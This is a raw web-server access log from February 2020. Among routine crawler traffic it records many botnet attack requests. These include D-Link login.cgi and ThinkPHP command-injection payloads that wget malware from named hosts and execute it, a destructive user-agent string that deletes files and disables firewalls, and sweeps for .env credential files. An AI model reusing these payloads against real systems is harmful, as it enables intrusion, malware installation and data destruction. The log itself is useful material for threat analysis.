66.249.64.89 - - [20/Feb/2020:03:27:38 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.85 - - [20/Feb/2020:03:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
104.219.234.53 - - [20/Feb/2020:03:35:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
88.247.82.8 - - [20/Feb/2020:03:36:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [20/Feb/2020:03:38:58 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:03:39:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
87.173.54.24 - - [20/Feb/2020:03:39:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.183.120.220 - - [20/Feb/2020:03:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.240.125.81 - - [20/Feb/2020:03:45:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
124.43.8.138 - - [20/Feb/2020:03:47:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [20/Feb/2020:03:49:05 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
202.86.138.50 - - [20/Feb/2020:03:53:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.236.102.23 - - [20/Feb/2020:03:56:50 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
103.88.27.34 - - [20/Feb/2020:03:59:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.62.188.138 - - [20/Feb/2020:03:59:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.138.5.120 - - [20/Feb/2020:04:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
188.121.104.93 - - [20/Feb/2020:04:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
184.154.47.2 - - [20/Feb/2020:04:02:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
37.36.112.114 - - [20/Feb/2020:04:04:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.218.138.26 - - [20/Feb/2020:04:04:53 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
138.197.202.197 - - [20/Feb/2020:04:04:53 +0100] "GET / HTTP/1.1" 200 1229 "212.91.246.80" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
159.203.42.143 - - [20/Feb/2020:04:04:54 +0100] "GET /login.cgi HTTP/1.1" 404 314 "212.91.246.80" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
5.236.185.26 - - [20/Feb/2020:04:06:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
186.29.163.97 - - [20/Feb/2020:04:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.72.31.28 - - [20/Feb/2020:04:11:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
169.197.108.6 - - [20/Feb/2020:04:19:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
119.52.212.249 - - [20/Feb/2020:04:21:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.247.131.12 - - [20/Feb/2020:04:23:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
104.219.234.53 - - [20/Feb/2020:04:25:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
104.219.234.53 - - [20/Feb/2020:04:27:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
188.13.169.195 - - [20/Feb/2020:04:29:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
111.118.240.178 - - [20/Feb/2020:04:30:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [20/Feb/2020:04:36:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [20/Feb/2020:04:36:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [20/Feb/2020:04:36:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [20/Feb/2020:04:36:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [20/Feb/2020:04:37:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.201.175.194 - - [20/Feb/2020:04:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
91.204.251.186 - - [20/Feb/2020:04:41:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
104.219.234.53 - - [20/Feb/2020:04:41:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
176.163.131.89 - - [20/Feb/2020:04:41:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.124.162.73 - - [20/Feb/2020:04:42:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.49.230.232 - - [20/Feb/2020:04:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
185.234.216.198 - - [20/Feb/2020:04:45:29 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:30 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:31 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:31 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:31 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [20/Feb/2020:04:45:31 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
77.159.94.180 - - [20/Feb/2020:04:45:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
169.197.108.6 - - [20/Feb/2020:04:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
58.11.7.221 - - [20/Feb/2020:04:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.217.162.184 - - [20/Feb/2020:04:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
104.239.141.155 - - [20/Feb/2020:05:05:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.78.133.27 - - [20/Feb/2020:05:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.146.76 - - [20/Feb/2020:05:12:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.60.142.161 - - [20/Feb/2020:05:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
125.128.241.71 - - [20/Feb/2020:05:17:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:17:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:17:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:17:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:17:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
92.211.230.89 - - [20/Feb/2020:05:18:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.211.230.89 - - [20/Feb/2020:05:19:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
208.114.149.10 - - [20/Feb/2020:05:19:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.211.230.89 - - [20/Feb/2020:05:21:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.211.230.89 - - [20/Feb/2020:05:22:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.211.230.89 - - [20/Feb/2020:05:23:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.211.230.89 - - [20/Feb/2020:05:24:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.211.230.89 - - [20/Feb/2020:05:24:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
92.211.230.89 - - [20/Feb/2020:05:25:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.156.219.164 - - [20/Feb/2020:05:27:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
92.211.230.89 - - [20/Feb/2020:05:27:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
1.34.216.84 - - [20/Feb/2020:05:27:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
92.211.230.89 - - [20/Feb/2020:05:28:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.205.47.194 - - [20/Feb/2020:05:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
121.164.35.72 - - [20/Feb/2020:05:35:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [20/Feb/2020:05:35:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [20/Feb/2020:05:35:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
94.8.99.234 - - [20/Feb/2020:05:35:48 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
121.164.35.72 - - [20/Feb/2020:05:35:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [20/Feb/2020:05:36:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
91.227.190.244 - - [20/Feb/2020:05:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
202.40.185.42 - - [20/Feb/2020:05:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
34.245.54.41 - - [20/Feb/2020:05:45:04 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
148.251.50.77 - - [20/Feb/2020:05:48:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6"
95.13.70.60 - - [20/Feb/2020:05:48:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:50:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:50:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:50:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:50:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:05:50:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
104.219.234.53 - - [20/Feb/2020:05:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
14.168.100.154 - - [20/Feb/2020:05:56:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
120.76.46.27 - - [20/Feb/2020:05:58:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.241.47.79 - - [20/Feb/2020:06:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
58.58.7.106 - - [20/Feb/2020:06:10:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.76.26.92 - - [20/Feb/2020:06:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
89.248.171.97 - - [20/Feb/2020:06:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [20/Feb/2020:06:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
128.14.134.134 - - [20/Feb/2020:06:16:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
107.6.183.162 - - [20/Feb/2020:06:18:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
119.152.58.53 - - [20/Feb/2020:06:18:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.180.86.47 - - [20/Feb/2020:06:19:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.165.196.171 - - [20/Feb/2020:06:22:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
124.47.8.10 - - [20/Feb/2020:06:22:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
